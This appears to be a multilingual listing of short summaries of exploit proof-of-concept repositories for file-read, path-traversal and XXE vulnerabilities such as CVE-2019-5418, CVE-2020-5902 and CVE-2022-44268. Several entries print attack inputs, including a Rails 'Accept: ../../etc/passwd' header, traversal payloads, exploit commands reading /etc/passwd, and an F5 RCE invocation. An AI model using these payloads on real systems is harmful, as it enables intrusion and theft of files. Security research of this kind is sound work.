CVE-2026-12243-NLTK-PoC

CVE-2026-12243 — NLTK 路径遍历实验环境 一个小型、可复现的 Docker 实验环境，用于对比 NLTK 3.9.4 中百分号编码路径遍历行为与 NLTK 3.10.0 中修正后的行为。 存在漏洞的版本在 URL 解码之前验证资源名称。固定载荷 %2e%2e/%2e%2e/outside/lab-secret.txt 通过检查，随后被解码为 ../../outside/lab-secret.txt，并逃逸了配置的 NLTK 数据目录和进程工作目录。已修补的版本会拒绝相同的输入。 !CAUTION...

mpDNS

mpDNS 別名 マルチパーパスDNSサーバー シンプルで設定可能な、多くの便利な機能を備えたDNSサーバー Python 3 names.db - すべてのカスタムレコードを保持（例を参照） シンプルなワイルドカード（例: .example.com） Unicode DNSリクエストをキャッチ カスタムアクション（別名マクロ）: shellexec::dig google.com +short - シェルコマンドを実行し、結果で応答 eval::res = '1.1.1.%d' % random.randint0,256 - Pythonコードを評価 file::/etc/passwd...

Eclipse Mojarra - Local File Read

Directory traversal in Eclipse Mojarra before 2.3.14 allows attackers to read arbitrary files via the loc parameter or con parameter. id: CVE-2020-6950 info: name: Eclipse Mojarra - Local File Read author: iamnoooob,pdresearch severity: medium description: | Directory traversal in Eclipse Mojarra...

Vitest Browser Mode - Local File Read

Vitest is a testing framework powered by Vite. The screenshot-error handler on the browser mode HTTP server that responds any file on the file system. Especially if the server is exposed on the network by browser.api.host- true, an attacker can send a request to that handler from remote to get th...

LocalAI - Partial Local File Read

A vulnerability in the /models/apply endpoint of mudler/localai versions 2.15.0 allows for Server-Side Request Forgery SSRF and partial Local File Inclusion LFI. The endpoint supports both https-// and file-// schemes, where the latter can lead to LFI. However, the output is limited due to the...

BOA Web Server 0.94.14 - Arbitrary File Access

BOA Web Server 0.94.14 is susceptible to arbitrary file access. The server allows the injection of "../.." using the FILECAMERA variable sent by GET to read files with root privileges and without using access credentials. id: CVE-2017-9833 info: name: BOA Web Server 0.94.14 - Arbitrary File Acces...

CVE-2024-55557

CVE-2024-55557 使用方法 root@kitploit: python3 exploit.py --local retrieve from local readable files python3 exploit.py default mode is remote 更多 更多信息参见 CVE-2024-55557 - Weasis 4.5.1 POC https://github.com/user-attachments/assets/a3f64a58-7720-4f93-8bcc-9393d8afcb68...

CVE-2025-66516-POC

⚠️ 使用前に免責事項をお読みください ⚠️ 教育/許可されたテストのみ | ライセンス | セキュリティポリシー このPOCについて このリポジトリは、CVE-2025-66516 （Apache Tika 3.2.2より前のバージョンにおけるXML External Entity（XXE）注入脆弱性 ）の概念実証（POC）エクスプロイト を含んでいます。この脆弱性は、tika-parser-pdf-module コンポーネントのXFA（XML Forms Architecture）パーサー...

CVE-2020-1938

CVE-2020-1938 このCVE-2020-1938は、https://github.com/Hancheng-Lei/Hacking-Vulnerability-CVE-2020-1938-Ghostcat.git のPoCのエラーを修正し、Apache Tomcat/8.0.43バージョンでの動作を確認しました。 実習方法 1. docker-compose.yml を作成 2. docker compose up -d 3. python3 CVE-2020-1938.py -p 8009 -f WEB-INF/web.xml 最終結果...

cve-2020-5902

cve-2020-5902 Exploit POC de cve-2020-5902 root@kitploit: POC CVE-2020-5902 - r0ttenbeef Usage: cve-2020-5902.py options Options: -h, --help show this help message and exit -u URL, --url=URL specify target url EX:http://100.200.300.10/ -i, --info grap some informations -f FILENAME, --file=FILENAM...

CVE-2026-45504

CVE-2026-45504 Exchange 文件读取 CVE-2026-45504 Exchange 文件读取研究博客 python3 CVE-2026-45504.py --attacker-ip 192.168.2.238 --attacker-port 9020 --creds [email protected] --password Hawktrace1 --target https://mail.exchange.local --target-file "C:/Windows/System32/drivers/etc/hosts"...

CVE-2024-28752

Apache CXF CVE-2024-28752 复现环境 漏洞公告：https://cxf.apache.org/security-advisories.data/CVE-2024-28752.txt 环境启动 samples/javafirstjaxwsfactorybean IDEA 通过 ServerStarter.java 启动 webservice 服务 构建 使用 JDK8 root@kitploit: mvn clean package java -jar target/cxf.jar 漏洞利用 使用 BurpSuite 发送如下请求即可触发。 root@kitploi...

CVE-2022-44268

CVE-2022-44268 本仓库包含针对 ImageMagick（v. 7.1.0-49）中一个漏洞的概念验证（POC）。ImageMagick 是一个广泛使用的开源图像处理库。该漏洞允许攻击者在 ImageMagick 解析 PNG 文件时，将任意文件的内容嵌入到调整大小后的图像中。 描述 当 ImageMagick 对 PNG 文件执行诸如调整大小等操作时，如果 magick 二进制文件具有读取系统文件所需的权限，它可能会包含系统文件的内容。此漏洞源于 ImageMagick 对 PNG 文件中文本块的处理不当。 恶意攻击者可以通过构造 PNG 文件或使用现有 PNG...

CVE-2016-10956-mail-masta

Mail Masta - 本地文件读取 CVE-2016-10956 WordPress 的 mail-masta 插件 1.0 在 countofsend.php 和 csvexport.php 中存在本地文件读取漏洞。 用法 root@kitploit: $ ./CVE-2016-10956mailmasta.py -h + Mail Masta - Local File Read CVE-2016-10956 usage: CVE-2016-10956mailmasta.py -h -v -s -t TARGETURL -f FILE | -F FILELIST -D DUMPDI...

CVE-2019-8389

CVE-2019-8389 - Musicloud for iOS v1.6 中的任意文件读取 CVE-2019-8389 用于利用 Musicloud v1.6 iOS 应用中的本地文件读取漏洞的利用代码 描述: 在 Musicloud 1.6 的 Wi-Fi 传输功能中发现了一个文件读取漏洞。默认情况下，该应用在 8080 端口运行一个传输服务，同一 Wi-Fi 网络上的任何人都可以访问。攻击者可以将 POST 参数 downfiles 和 cur-folder（带有精心构造的 ../ 载荷）发送到 download.script 端点。这将创建一个公开可访问的...

CVE-2024-40422

CVE-2024-40422 在 exploit-db 上发现这个漏洞，为了练习自己写了一个利用脚本。该漏洞利用会在存在漏洞的系统中搜索 passwd 文件并打印其内容。 该脚本利用了 Devika v1 中的路径穿越漏洞。感谢 Alperen Ergel 首先发现该漏洞。 pip install requests 您可以在此处阅读关于该漏洞的更多信息： https://medium.com/aardvark-infinity/cve-2024-40422-path-traversal-vulnerability-in-stitionai-devika-81cbf45718f3...

CVE-2025-27136-XXE-LocalS3

CVE-2025-27136 XXE-LocalS3 CVE-2025-27136 の概念実証 Local-S3 における XXE └─$ python3 exploit.py http://$ip:8080 /etc/passwd + S3 service detected + Creating bucket: xxe-32d14993 + Server response: ac3aaf20-e59a-4705-9505-3ebb01db7fc1 + Retrieving file via ?location + Response:...

CVE-2019-5418

CVE-2019-5418 测试用例 运行： root@kitploit: $ rails s PoC： root@kitploit: Accept: ../../../../../../../../etc/passwd 请求 1 - root@kitploit: GET /shitblock HTTP/1.1 Host: REDACTED:3000 User-Agent: Mozilla/5.0 Windows NT 10.0; Win64; x64; rv:65.0 Gecko/20100101 Firefox/65.0 Accept:...

CVE-2020-5902

CVE-2020-5902 Script de Python para explotar F5 Big-IP CVE-2020-5902 Ejemplos Explotación de lectura de archivo local: python3 CVE-2020-5902.py -t example.com -x lfr -f /etc/passwd Explotación RCE: python3 CVE-2020-5902.py -t example.com -x rce -a list+auth+user+admin...

CVE-2024-28995

CVE-2024-28995 Path Traversal Automatizado y Lectura de Archivos Locales Características Detección de Versión : Recupera la versión de Serv-U desde la cabecera del servidor. Comprobación de Vulnerabilidad : Compara la versión detectada con una versión vulnerable conocida 15.4.2 o inferior. Prueba...